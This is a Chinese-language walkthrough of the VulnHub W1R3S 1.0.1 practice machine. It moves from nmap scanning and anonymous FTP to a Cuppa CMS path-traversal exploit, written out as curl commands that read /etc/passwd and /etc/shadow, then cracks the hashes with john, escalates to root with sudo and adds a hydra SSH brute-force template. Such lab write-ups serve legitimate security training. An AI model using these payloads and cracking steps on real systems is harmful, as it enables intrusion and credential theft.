W1R3S 1.0.1
1、主机发现扫描整个C段
建议使用sudo执行命令行,而不是直接使用root账户执行。
靶场地址:https://www.vulnhub.com/entry/w1r3s-101,220/
sudo nmap -sn 192.168.1.0/24
解释:
-sn:主机发现后不进行端口扫描,使用特权用户扫描本地网络用的是ARP与sudo apr-scan -l相似。
- ICMP回显请求
- TCPSYN请求 443
- TCPACK 80
- ICMP时间戳
-sl:列表扫描,,对目标进行轻量级侦察。
2、确认目标后进行端口扫描
sudo mkdir nmapsacn
解释:
创建一个名为nmapcsan的文件夹,用于存放nmap的扫描信息。
然后进行端口扫描,保持最低扫描速率为10000,在实际的红队操作中要比这个值小之又小,防止被察觉。
sudo nmap --min-rate 10000 -p- 192.168.1.7 -oA nmapscan/ports
解释:
–min-rate:指扫描以最低多少的速率进行端口扫描
-p-:指定扫描端口,-为1~65535的简写
-OA:全格式输出到文件夹中
可以发现开放了四个端口分别时21、22、80、3306,对应的服务位ftp,ssh,http,mysql。
用grep去搜索nmapscan/ports.nmap中的扫描结果,将获得要求的第一列,即开放的端口,显示在一行用逗号分隔。最后存放在变量ports中,以便后续调用使用。
ports=$(grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')
3、构建详细信息扫描
sudo nmap -sT -sV -sC -O -p 21,22,80,3306 192.168.1.7 -oA nmapscan/detail
解释:
-sT:Tcp扫描
-sV:探测服务器版本
-sC:默认脚本扫描
-O:探测操作系统版本
-p:指定端口
区别:
-sS:S是默认扫描技术,利用TCP的SYN标志位来检测目标主机端口,发送一个SYN包只建立TCP连接的第一步,如果收到目标主机的SYN中的ACK回复表示该端口开放,如果收到KST(复位)数据包,则表示端口关闭。
-sT:三次握手来判断,推荐使用这个来检测,因为大多数防火墙检测一次握手。
分析:
21端口运行的ftp服务版本是vsftpd 2.0.8或之前版本,其中d指的是demon,允许程序可以匿名登录。
22端口运行的ssh服务是openssh,并猜测是ubuntu版本。
80端口运行的http服务是apache httpd 2.4.18,3306端口运行的是mysql服务,系统内核版本为3.0或4.0。
4、UDP扫描
详细信息扫描时同时进行UDP扫描
sudo nmap -sU --top-ports 20 192.168.1.7 -oA nmapscan/udp
分析:
5、脚本扫描
通过脚本扫描我们可以知道,忽略Dos利用我们发现80端口有wordpress登录页,后续我们可以从这里展开操作。
sudo nmap --script=vuln -p 21,22,80,3306 192.168.1.7 -oA nmapscan/vuln
6、测试FTP
首先连接FTP服务,登录用户名是anonymous,密码为空,成功登录后,使用?显示出可用FTP可用命令。
ftp 192.168.1.7
使用ls命令展示当前文件目录,发现有三个文件目录,进入content中在使用ls命令查看,发现文件全部为.txt格式,关闭交互模式下使用mget进行多文件下载。其他的文件也按此操作下载。
ls
cd content
prompt
mget *.txt
使用当cat *.txt读取下载到当前目录的全部文件,发现了一条明文信息,一条md5信息,一条base64信息,雇员列表,翻转的信息。
使用hash-identifier确认为此hash为md5,通过在线网站查询到数据为This is not a password,说明这条信息没有作用,按思路继续向下。
hash-identifier '01ec2d8fc11c493b25029fb1f47f39ce'
解密base64后得到的信息仍然不是有用信息,所以继续向下寻找。雇员列表中包含的一些雇员的姓名和职位,根据他们职位分析每个人有什么职能,存在多少数据,还可以使用这些信息编写密码字典。
echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d
最后一部分为上下颠倒,左右颠倒文字,使用在线工具进行https://www.upsidedowntext.com/还原,得到文字:we have a ןot of work to do‘ stop pןayıng around˙˙˙˙和ı don’t thınk thıs ıs the way to root!明确得到了信息,FTP这没有可用信息,于是换个思路,对别的端口进行测试。
7、尝试连接Mysql
尝试使用root/root连接数据库,发现连接失败,于是利用其他端口。
mysql -h 192.168.1.7 -uroot -proot
8、测试80端口
浏览器访问目标的80端口,发现仅有一个配置页,页面无任何信息,审查页面也无任何信息。
当时脚本扫描的时候好像有一个wordpress的登陆界面,去试试看,搜索wordpress默认账户和密码,使用其登陆,发现强制跳转到localhost上,无奈只能换个思路。
使用gobuster爆破一下网站后台,看看有没有其他页面。
sudo gobuster dir -u http://192.168.1.7 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
爆破出来如下页面,挨个进入查看,发现wordpress仍然重定向到localhost而javascript则不允许访问,只有最后一个页面可以进入,并且得知是Cuppa CMS。
使用Cuppa CMS页面继续进行测试,发现这是一个CMS安装的页面。点击NEXT可能会发生网站数据库被覆盖问题,充分搜索评估后点击NEXT按钮,进入配置页面输入数据库配置信息,然后再点击NEXT。发现发生错误,创建失败。
此时无法判断版本,只能通过搜索CMS进行后续行动,使用kali自带的漏洞搜索功能进行搜索,发现存在漏洞。
searchsploit cuppa cms
我们将其漏洞详情导出,用于查看。
searchsploit cuppa cms -m 25971.txt
我们可以知道这是一个文件包含漏洞,可以用于读取敏感信息或者执行shell。
测试是EXP是否能在当前版本使用,访问连接使用GET请求http://192.168.1.7/administrator/alerts/alertConfigField.php?urlConfig=…/…/…/…/…/…/…/…/…/etc/passwd,读取linux账户。发现读取失败,页面为空白。更换位POST进行提交测试,发现读取linux账户成功。命令如下:
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/passwd' http://192.168.1.7/administrator/alerts/alertConfigField.php
立即读取其密码文件/etc/shadow,将其保存为shadow.hash来用于解密。
curl --data-urlencode 'urlConfig=../../../../../../../../../etc/shadow' http://192.168.1.7/administrator/alerts/alertConfigField.php
使用john解密hash,获得到www-data和w1r3s账户的密码。由于www-data用户应为网站目录用户,权限较低,故使用w1r3s账户进行ssh登陆。
john shadow.hash
9、SSH登陆服务器
使用SSH命令登陆服务器,输入密码后进行连接,成功登陆。
sudo ssh w1r3s@192.168.1.7
查询当前用户,查询当前用户ID,发现有sudo,想着可以使用sudo提权,使用sudo -l查看当前账户有哪些sudo权限,结果3个ALL,直接使用sudo /bin/bash启动一个新的终端。
whoami
id
uname -a
sudo -l
sudo /bin/bash
通过命令可知获取root权限成功,读取flag即可。
cat /root/flag.txt
10、SSH爆破
在所有方法走不通的情况下可以考虑SSH爆破。
hydra -L 用户列表 -P 密码列表 ssh://地址 -t 4